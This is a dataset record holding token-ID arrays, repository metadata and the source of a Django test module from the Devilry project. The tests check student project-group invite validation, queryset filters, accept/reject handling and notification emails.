14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
10178,
63,
1345,
63,
525,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
10178,
15,
525,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
421,
199,
533,
19037,
17025,
2768,
8,
1563,
30871,
3041,
304,
339,
408,
774,
6801,
370,
1104,
19037,
22397,
6497,
624,
339,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
20556,
63,
466,
14,
1001,
297,
283,
6761,
14,
1001,
297,
355,
283,
6063,
63,
328,
279,
600,
14,
1001,
297,
283,
2392,
711,
63,
7019,
14,
1001,
297,
283,
2392,
711,
63,
3780,
14,
1001,
297,
355,
283,
2392,
711,
63,
19929,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
511,
63,
751,
63,
1751,
8,
277,
304,
267,
408,
774,
6801,
370,
1104,
2876,
2202,
624,
267,
1177,
275,
291,
14,
1258,
14,
362,
2336,
751,
63,
5506,
63,
1461,
6217,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
964,
995,
717,
2876,
4001,
8064,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
1614,
379,
63,
964,
995,
717,
2876,
4001,
8064,
30775,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
2060,
63,
964,
995,
717,
13635,
32523,
8,
277,
14,
751,
430,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
19661,
8,
1310,
12,
283,
751,
63,
2913,
15,
751,
63,
5506,
63,
1461,
14,
1360,
358,
398,
1056,
275,
291,
14,
3702,
14,
362,
2336,
751,
63,
5506,
63,
1461,
6217,
267,
1056,
14,
751,
275,
291,
14,
751,
267,
1056,
14,
1730,
275,
1052,
267,
1177,
275,
15229,
63,
5506,
63,
1461,
8,
1069,
9,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
398,
1177,
275,
291,
14,
1258,
14,
1932,
2336,
751,
63,
5506,
63,
1461,
10197,
1287,
29,
8741,
13,
17,
297,
2511,
791,
964,
13,
466,
356,
283,
1461,
13,
5506,
297,
3660,
283,
2246,
63,
354,
356,
283,
2113,
297,
3660,
283,
9339,
63,
889,
356,
283,
25,
12744,
1229,
29990,
3071,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
964,
995,
717,
2876,
4001,
8064,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
1614,
379,
63,
964,
995,
717,
2876,
4001,
8064,
30775,
2821,
8,
277,
14,
751,
430,
398,
1177,
275,
291,
14,
1258,
14,
1932,
2336,
751,
63,
5506,
63,
1461,
10197,
1287,
29,
8741,
13,
18,
297,
2511,
791,
964,
13,
466,
356,
283,
3071,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
2060,
63,
964,
995,
717,
13635,
32523,
8,
277,
14,
751,
430,
421,
199,
533,
19037,
1685,
8,
1746,
304,
339,
408,
774,
19037,
5822,
624,
272,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
18,
63,
2694,
63,
2392,
711,
5140,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
751,
275,
2876,
14,
1462,
14,
362,
8,
2473,
534,
2113,
358,
267,
291,
14,
751,
63,
2913,
275,
19037,
14,
1462,
14,
362,
8,
288,
922,
29,
277,
14,
751,
12,
267,
776,
339,
347,
511,
63,
751,
63,
2913,
63,
3351,
8,
277,
304,
267,
291,
14,
629,
8,
277
] |
[
199,
3,
445,
4564,
13,
8257,
844,
199,
3,
1455,
921,
1544,
14,
2866,
82,
13,
3200,
14,
1308,
199,
3,
199,
3,
961,
5800,
5495,
8204,
365,
5420,
370,
314,
2895,
402,
314,
17728,
1684,
199,
3,
844,
12,
373,
14,
499,
14,
16,
14,
982,
282,
1331,
402,
314,
28481,
1990,
440,
1854,
543,
642,
570,
12,
199,
3,
2047,
883,
3332,
1373,
737,
1455,
921,
12102,
14,
1308,
15,
3950,
15,
18,
14,
16,
8083,
199,
3,
199,
3,
1898,
334,
35,
9,
7760,
13,
7806,
1933,
285,
18,
34,
12687,
428,
14,
44,
14,
199,
3,
199,
3,
710,
6026,
9607,
402,
314,
12769,
5495,
365,
199,
3,
23889,
90,
783,
699,
352,
21745,
665,
815,
32,
7848,
18,
19929,
14,
957,
30,
199,
3,
199,
199,
504,
1639,
14,
2828,
14,
1178,
14,
992,
492,
2876,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
2828,
14,
1178,
14,
3351,
492,
13635,
32523,
199,
504,
922,
63,
2913,
14,
992,
492,
19037,
199,
504,
922,
63,
2913,
14,
3351,
492,
2876,
4001,
8064,
2821,
12,
2876,
4001,
8064,
30775,
2821,
199,
504,
922,
63,
2913,
14,
4196,
492,
15229,
63,
5506,
63,
1461,
199,
504,
1639,
63,
16537,
63,
1939,
14,
1208,
492,
3523,
30871,
3041,
199,
199,
3,
687,
1639,
14,
2828,
492,
4628,
199,
3,
4628,
14,
2124,
14,
2683,
8,
1899,
9,
421,
199,
533,
19037,
4880,
2768,
8,
1563,
30871,
3041,
304,
272,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
20556,
63,
466,
14,
1001,
297,
283,
6761,
14,
1001,
297,
355,
283,
6063,
63,
328,
279,
600,
14,
1001,
297,
283,
2392,
711,
63,
7019,
14,
1001,
297,
283,
2392,
711,
63,
3780,
14,
1001,
297,
355,
283,
2392,
711,
63,
19929,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
511,
63,
2113,
63,
7018,
63,
1345,
63,
513,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
7018,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
7018,
63,
1345,
63,
525,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
7018,
15,
525,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
10178,
63,
1345,
63,
513,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
10178,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
339,
347,
511,
63,
2113,
63,
10178,
63,
1345,
63,
525,
8,
277,
304,
267,
1177,
275,
291,
14,
1258,
14,
362,
4769,
2113,
15,
1178,
15,
10178,
15,
525,
13589,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
421,
199,
533,
19037,
17025,
2768,
8,
1563,
30871,
3041,
304,
339,
408,
774,
6801,
370,
1104,
19037,
22397,
6497,
624,
339,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
20556,
63,
466,
14,
1001,
297,
283,
6761,
14,
1001,
297,
355,
283,
6063,
63,
328,
279,
600,
14,
1001,
297,
283,
2392,
711,
63,
7019,
14,
1001,
297,
283,
2392,
711,
63,
3780,
14,
1001,
297,
355,
283,
2392,
711,
63,
19929,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
511,
63,
751,
63,
1751,
8,
277,
304,
267,
408,
774,
6801,
370,
1104,
2876,
2202,
624,
267,
1177,
275,
291,
14,
1258,
14,
362,
2336,
751,
63,
5506,
63,
1461,
6217,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
964,
995,
717,
2876,
4001,
8064,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
1614,
379,
63,
964,
995,
717,
2876,
4001,
8064,
30775,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
2060,
63,
964,
995,
717,
13635,
32523,
8,
277,
14,
751,
430,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
267,
291,
14,
19661,
8,
1310,
12,
283,
751,
63,
2913,
15,
751,
63,
5506,
63,
1461,
14,
1360,
358,
398,
1056,
275,
291,
14,
3702,
14,
362,
2336,
751,
63,
5506,
63,
1461,
6217,
267,
1056,
14,
751,
275,
291,
14,
751,
267,
1056,
14,
1730,
275,
1052,
267,
1177,
275,
15229,
63,
5506,
63,
1461,
8,
1069,
9,
267,
291,
14,
629,
8,
1310,
14,
1205,
63,
600,
12,
1926,
9,
398,
1177,
275,
291,
14,
1258,
14,
1932,
2336,
751,
63,
5506,
63,
1461,
10197,
1287,
29,
8741,
13,
17,
297,
2511,
791,
964,
13,
466,
356,
283,
1461,
13,
5506,
297,
3660,
283,
2246,
63,
354,
356,
283,
2113,
297,
3660,
283,
9339,
63,
889,
356,
283,
25,
12744,
1229,
29990,
3071,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
964,
995,
717,
2876,
4001,
8064,
2821,
8,
277,
14,
751,
430,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
5506,
63,
1614,
379,
63,
964,
995,
717,
2876,
4001,
8064,
30775,
2821,
8,
277,
14,
751,
430,
398,
1177,
275,
291,
14,
1258,
14,
1932,
2336,
751,
63,
5506,
63,
1461,
10197,
1287,
29,
8741,
13,
18,
297,
2511,
791,
964,
13,
466,
356,
283,
3071,
267,
291,
14,
1815,
8,
1310,
14,
1100,
459,
751,
63,
2060,
63,
964,
995,
717,
13635,
32523,
8,
277,
14,
751,
430,
421,
199,
533,
19037,
1685,
8,
1746,
304,
339,
408,
774,
19037,
5822,
624,
272,
15188,
275,
788,
1178,
63,
751,
14,
1001,
297,
283,
18,
63,
2694,
63,
2392,
711,
5140,
14,
1001,
297,
283,
751,
63,
2913,
14,
1001,
418,
339,
347,
3613,
8,
277,
304,
267,
291,
14,
751,
275,
2876,
14,
1462,
14,
362,
8,
2473,
534,
2113,
358,
267,
291,
14,
751,
63,
2913,
275,
19037,
14,
1462,
14,
362,
8,
288,
922,
29,
277,
14,
751,
12,
267,
776,
339,
347,
511,
63,
751,
63,
2913,
63,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
devilry/devilry-django
|
devilry/apps/core/tests/test_groupinvite.py
|
1
|
24874
|
from django.core import mail
from django.core.exceptions import ValidationError
from django.test import TestCase
from django.utils import timezone
from django.utils.timezone import timedelta
from django.urls import reverse
from model_bakery import baker
from devilry.apps.core import devilry_core_baker_factories as core_baker
from devilry.apps.core.models import AssignmentGroup
from devilry.apps.core.models import GroupInvite
from devilry.devilry_dbcache.customsql import AssignmentGroupDbCacheCustomSql
class TestGroupInviteErrors(TestCase):
def setUp(self):
AssignmentGroupDbCacheCustomSql().initialize()
def test_user_sending_is_not_part_of_the_group(self):
testgroup = baker.make('core.AssignmentGroup')
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
testgroup2 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup1).relatedstudent.user
sent_to = core_baker.candidate(testgroup2).relatedstudent.user
with self.assertRaisesMessage(
ValidationError,
'The user sending an invite must be a Candiate on the group.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_student_already_member_of_the_group(self):
testgroup = baker.make('core.AssignmentGroup')
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup).relatedstudent.user
with self.assertRaisesMessage(
ValidationError,
'The student is already a member of the group.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_student_already_invited_but_not_responded(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
baker.make('core.GroupInvite', group=testgroup, sent_by=sent_by, sent_to=sent_to)
with self.assertRaisesMessage(
ValidationError,
'The student is already invited to join the group, but they have not responded yet.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_create_groups_expired(self):
testgroup = baker.make('core.AssignmentGroup',
parentnode__students_can_create_groups=True,
parentnode__students_can_not_create_groups_after=timezone.now() - timedelta(days=1))
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
with self.assertRaisesMessage(
ValidationError,
'Creating project groups without administrator approval is not '
'allowed on this assignment anymore. Please contact you course '
'administrator if you think this is wrong.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_assignment_does_not_allow_students_to_form_groups(self):
testgroup = baker.make('core.AssignmentGroup',
parentnode__students_can_create_groups=False)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
with self.assertRaisesMessage(
ValidationError,
'This assignment does not allow students to form project groups on their own.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_student_sent_to_is_not_registerd_on_assignment(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup')
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
with self.assertRaisesMessage(
ValidationError,
'The invited student is not registered on this assignment.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
def test_student_sent_to_is_already_in_a_group_with_more_than_one_student(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
core_baker.candidate(testgroup1)
with self.assertRaisesMessage(
ValidationError,
'The invited student is already in a project group with more than 1 students.'):
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to,
accepted=True
)
invite.full_clean()
def test_sanity(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
self.assertEqual(invite.sent_to, sent_to)
self.assertEqual(invite.sent_by, sent_by)
self.assertEqual(invite.group, testgroup)
self.assertIsNotNone(invite.sent_datetime)
def test_sanity_accepted(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
invite = baker.make(
'core.GroupInvite',
group=testgroup,
sent_by=sent_by,
sent_to=sent_to,
accepted=True
)
invite.full_clean()
self.assertEqual(invite.sent_to, sent_to)
self.assertEqual(invite.sent_by, sent_by)
self.assertEqual(invite.group, testgroup)
self.assertTrue(invite.accepted)
self.assertIsNotNone(invite.responded_datetime)
class TestGroupInviteQueryset(TestCase):
def setUp(self):
AssignmentGroupDbCacheCustomSql().initialize()
def test_queryset_sanity(self):
baker.make('core.GroupInvite', id=100)
self.assertEqual(GroupInvite.objects.all().first().id, 100)
def test_filter_accepted(self):
baker.make('core.GroupInvite', accepted=None, id=10)
baker.make('core.GroupInvite', accepted=False, id=11)
baker.make('core.GroupInvite', accepted=True, id=100)
baker.make('core.GroupInvite', accepted=True, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_accepted()),
{100, 101}
)
def test_filter_no_response(self):
baker.make('core.GroupInvite', accepted=None, id=10)
baker.make('core.GroupInvite', accepted=None, id=11)
baker.make('core.GroupInvite', accepted=True, id=100)
baker.make('core.GroupInvite', accepted=False, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_no_response()),
{10, 11}
)
def test_filter_rejected(self):
baker.make('core.GroupInvite', accepted=False, id=10)
baker.make('core.GroupInvite', accepted=False, id=11)
baker.make('core.GroupInvite', accepted=True, id=100)
baker.make('core.GroupInvite', accepted=None, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_rejected()),
{10, 11}
)
def test_filter_unanswered_received_invites(self):
group = baker.make('core.AssignmentGroup')
sent_by = core_baker.candidate(group=group).relatedstudent.user
sent_to = core_baker.candidate(group=group).relatedstudent.user
baker.make('core.GroupInvite', sent_by=sent_by, sent_to=sent_to, accepted=False, id=10)
baker.make('core.GroupInvite', sent_by=sent_by, sent_to=sent_to, accepted=None, id=11)
baker.make('core.GroupInvite', sent_by=sent_by, sent_to=sent_to, accepted=True, id=100)
baker.make('core.GroupInvite', sent_by=sent_by, sent_to=sent_to, accepted=None, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_unanswered_received_invites(sent_to)),
{11, 101}
)
def test_filter_unanswered_sent_invites(self):
group = baker.make('core.AssignmentGroup')
baker.make('core.GroupInvite', group=group, accepted=False, id=10)
baker.make('core.GroupInvite', group=group, accepted=None, id=11)
baker.make('core.GroupInvite', group=group, accepted=True, id=100)
baker.make('core.GroupInvite', group=group, accepted=None, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_unanswered_sent_invites(group)),
{11, 101}
)
def test_filter_allowed_to_create_groups(self):
assignment_expired = baker.make(
'core.Assignment',
students_can_create_groups=True,
students_can_not_create_groups_after=timezone.now() - timedelta(days=1)
)
assignment_not_expired = baker.make(
'core.Assignment',
students_can_create_groups=True,
students_can_not_create_groups_after=timezone.now() + timedelta(days=1)
)
assignment_not_allowed = baker.make('core.Assignment', students_can_create_groups=False)
assignment_allowed = baker.make('core.Assignment', students_can_create_groups=True)
group1 = baker.make('core.AssignmentGroup', parentnode=assignment_expired)
group2 = baker.make('core.AssignmentGroup', parentnode=assignment_not_expired)
group3 = baker.make('core.AssignmentGroup', parentnode=assignment_not_allowed)
group4 = baker.make('core.AssignmentGroup', parentnode=assignment_allowed)
baker.make('core.GroupInvite', group=group1, id=10)
baker.make('core.GroupInvite', group=group2, id=11)
baker.make('core.GroupInvite', group=group3, id=100)
baker.make('core.GroupInvite', group=group4, id=101)
self.assertEqual(
set(invite.id for invite in GroupInvite.objects.filter_allowed_to_create_groups()),
{11, 101}
)
class FakeRequest(object):
def build_absolute_uri(self, location):
return 'http://example.com{}'.format(location)
class GroupInviteRespond(TestCase):
def setUp(self):
AssignmentGroupDbCacheCustomSql().initialize()
def __fake_request(self):
return FakeRequest()
def test_respond_reject(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
student1 = core_baker.candidate(group=group1).relatedstudent.user
student2 = core_baker.candidate(group=group2).relatedstudent.user
invite = baker.make('core.GroupInvite', sent_by=student1, sent_to=student2, group=group1)
invite.respond(False)
self.assertFalse(GroupInvite.objects.get(id=invite.id).accepted)
group = AssignmentGroup.objects.filter_user_is_candidate(student2)
self.assertEqual(group.count(), 1)
self.assertEqual(group.first().id, group2.id)
def test_respond_accept(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
student1 = core_baker.candidate(group=group1).relatedstudent.user
student2 = core_baker.candidate(group=group2).relatedstudent.user
invite = baker.make('core.GroupInvite', sent_by=student1, sent_to=student2, group=group1)
invite.respond(True)
self.assertTrue(GroupInvite.objects.get(id=invite.id).accepted)
group = AssignmentGroup.objects.filter_user_is_candidate(student2)
self.assertEqual(group.count(), 1)
self.assertEqual(group.first().id, group1.id)
self.assertEqual(group.first().cached_data.candidate_count, 2)
self.assertFalse(AssignmentGroup.objects.filter(id=group2.id).exists())
def test_num_queries_accept(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
student1 = core_baker.candidate(group=group1).relatedstudent.user
student2 = core_baker.candidate(group=group2).relatedstudent.user
invite = baker.make('core.GroupInvite', sent_by=student1, sent_to=student2, group=group1)
with self.assertNumQueries(36):
invite.respond(True)
def test_num_queries_reject(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
student1 = core_baker.candidate(group=group1).relatedstudent.user
student2 = core_baker.candidate(group=group2).relatedstudent.user
invite = baker.make('core.GroupInvite', sent_by=student1, sent_to=student2, group=group1)
with self.assertNumQueries(9):
invite.respond(False)
def test_send_invite_mail(self):
assignment = baker.make(
'core.Assignment',
long_name='Assignment 1',
short_name='assignment1',
parentnode__long_name='Spring2017',
parentnode__short_name='s17',
parentnode__parentnode__long_name='DUCK1010 - Object Oriented Programming',
parentnode__parentnode__short_name='Duck1010',
students_can_create_groups=True,
)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=assignment)
sent_by = core_baker.candidate(testgroup, shortname="april@example.com", fullname="April").relatedstudent.user
sent_to = core_baker.candidate(testgroup1, shortname="dewey@example.com", fullname="Dewey").relatedstudent.user
baker.make('devilry_account.UserEmail', user=sent_to, email="dewey@example.com")
invite = GroupInvite(group=testgroup, sent_by=sent_by, sent_to=sent_to)
invite.full_clean()
invite.save()
request = self.__fake_request()
invite.send_invite_notification(request)
self.assertEqual(len(mail.outbox), 1)
self.assertEqual(mail.outbox[0].subject, '[Devilry] Project group invite for Duck1010.s17.assignment1')
url = request.build_absolute_uri(
reverse('devilry_student_groupinvite_respond', kwargs={'invite_id': invite.id}))
self.assertIn(url, mail.outbox[0].body)
def test_send_reject_mail(self):
assignment = baker.make(
'core.Assignment',
long_name='Assignment 1',
short_name='assignment1',
parentnode__long_name='Spring2017',
parentnode__short_name='s17',
parentnode__parentnode__long_name='DUCK1010 - Object Oriented Programming',
parentnode__parentnode__short_name='Duck1010',
students_can_create_groups=True,
)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=assignment)
sent_by = core_baker.candidate(testgroup, shortname="april@example.com", fullname="April").relatedstudent.user
sent_to = core_baker.candidate(testgroup1, shortname="dewey@example.com", fullname="Dewey").relatedstudent.user
baker.make('devilry_account.UserEmail', user=sent_to, email="dewey@example.com")
baker.make('devilry_account.UserEmail', user=sent_by, email="april@example.com")
invite = GroupInvite(
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
invite.save()
invite.send_invite_notification(self.__fake_request())
invite.respond(False)
self.assertEqual(len(mail.outbox), 2)
self.assertEqual(mail.outbox[1].subject, '[Devilry] Dewey rejected your project group invite')
def test_send_accept_mail(self):
assignment = baker.make(
'core.Assignment',
long_name='Assignment 1',
short_name='assignment1',
parentnode__long_name='Spring2017',
parentnode__short_name='s17',
parentnode__parentnode__long_name='DUCK1010 - Object Oriented Programming',
parentnode__parentnode__short_name='Duck1010',
students_can_create_groups=True,
)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=assignment)
sent_by = core_baker.candidate(testgroup, shortname="april@example.com", fullname="April").relatedstudent.user
sent_to = core_baker.candidate(testgroup1, shortname="dewey@example.com", fullname="Dewey").relatedstudent.user
baker.make('devilry_account.UserEmail', user=sent_to, email="dewey@example.com")
baker.make('devilry_account.UserEmail', user=sent_by, email="april@example.com")
invite = GroupInvite(
group=testgroup,
sent_by=sent_by,
sent_to=sent_to
)
invite.full_clean()
invite.save()
invite.send_invite_notification(self.__fake_request())
invite.respond(True)
self.assertEqual(len(mail.outbox), 2)
self.assertEqual(mail.outbox[1].subject, '[Devilry] Dewey accepted your project group invite')
def test_send_invite_to_choices_queryset(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
group3 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
group4 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
core_baker.candidate(group=group1, fullname="Louie", shortname="louie")
core_baker.candidate(group=group2, fullname="Huey", shortname="huey")
core_baker.candidate(group=group2, fullname="Donald", shortname="donald")
candidate4 = core_baker.candidate(group=group3, fullname="April", shortname="april")
candidate5 = core_baker.candidate(group=group4, fullname="Dewey", shortname="dewey")
candidates = GroupInvite.send_invite_to_choices_queryset(group1)
self.assertEqual(candidates.count(), 2)
self.assertEqual(
set(candidate.id for candidate in candidates),
{candidate4.id, candidate5.id}
)
def test_send_invite_to_choices_queryset_pending_is_excluded(self):
group1 = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
group2 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
group3 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
group4 = baker.make('core.AssignmentGroup', parentnode=group1.parentnode)
candidate1 = core_baker.candidate(group=group1, fullname="Louie", shortname="louie")
core_baker.candidate(group=group2, fullname="Huey", shortname="huey")
core_baker.candidate(group=group2, fullname="Donald", shortname="donald")
candidate4 = core_baker.candidate(group=group3, fullname="April", shortname="april")
candidate5 = core_baker.candidate(group=group4, fullname="Dewey", shortname="dewey")
baker.make(
'core.GroupInvite',
group=group1,
sent_to=candidate4.relatedstudent.user,
sent_by=candidate1.relatedstudent.user
)
candidates = GroupInvite.send_invite_to_choices_queryset(group1)
self.assertEqual(candidates.count(), 1)
self.assertEqual(
set(candidate.id for candidate in candidates),
{candidate5.id}
)
def test_validate_user_id_send_to(self):
assignment = baker.make('core.Assignment', students_can_create_groups=True)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=assignment)
core_baker.candidate(testgroup)
sent_to = core_baker.candidate(testgroup1)
with self.assertNumQueries(1):
GroupInvite.validate_candidate_id_sent_to(testgroup, sent_to.id)
def test_validation_user_id_send_to_error_wrong_assignment(self):
assignment = baker.make('core.Assignment', students_can_create_groups=True)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
testgroup1 = baker.make('core.AssignmentGroup')
core_baker.candidate(testgroup)
sent_to = core_baker.candidate(testgroup1)
with self.assertRaisesMessage(ValidationError, 'The selected student is not eligible to join the group.'):
GroupInvite.validate_candidate_id_sent_to(testgroup, sent_to.id)
def test_validation_user_id_send_to_error_already_in_group(self):
assignment = baker.make('core.Assignment', students_can_create_groups=True)
testgroup = baker.make('core.AssignmentGroup', parentnode=assignment)
core_baker.candidate(testgroup)
sent_to = core_baker.candidate(testgroup)
with self.assertRaisesMessage(ValidationError, 'The selected student is not eligible to join the group.'):
GroupInvite.validate_candidate_id_sent_to(testgroup, sent_to.id)
def test_invite_has_already_been_accepted(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
invite = baker.make('core.GroupInvite', group=testgroup, sent_by=sent_by, sent_to=sent_to, accepted=True)
with self.assertRaisesMessage(ValidationError, 'This invite has already been accepted.'):
invite.respond(True)
def test_invite_has_already_been_declined(self):
testgroup = baker.make('core.AssignmentGroup', parentnode__students_can_create_groups=True)
testgroup1 = baker.make('core.AssignmentGroup', parentnode=testgroup.parentnode)
sent_by = core_baker.candidate(testgroup).relatedstudent.user
sent_to = core_baker.candidate(testgroup1).relatedstudent.user
invite = baker.make('core.GroupInvite', group=testgroup, sent_by=sent_by, sent_to=sent_to, accepted=False)
with self.assertRaisesMessage(ValidationError, 'This invite has already been declined.'):
invite.respond(False)
|
bsd-3-clause
|
[
504,
1639,
14,
1018,
492,
6016,
199,
504,
1639,
14,
1018,
14,
3924,
492,
8505,
199,
504,
1639,
14,
396,
492,
7640,
199,
504,
1639,
14,
1208,
492,
7137,
199,
504,
1639,
14,
1208,
14,
7145,
492,
6871,
199,
504,
1639,
14,
3603,
492,
3837,
199,
504,
1402,
63,
27162,
994,
492,
330,
12630,
199,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
492,
4866,
382,
651,
63,
1018,
63,
66,
12630,
63,
15406,
465,
6170,
63,
66,
12630,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
14,
992,
492,
16927,
434,
2448,
199,
504,
4866,
382,
651,
14,
5181,
14,
1018,
14,
992,
492,
5611,
607,
13187,
199,
504,
4866,
382,
651,
14,
2374,
382,
651,
63,
697,
1637,
14,
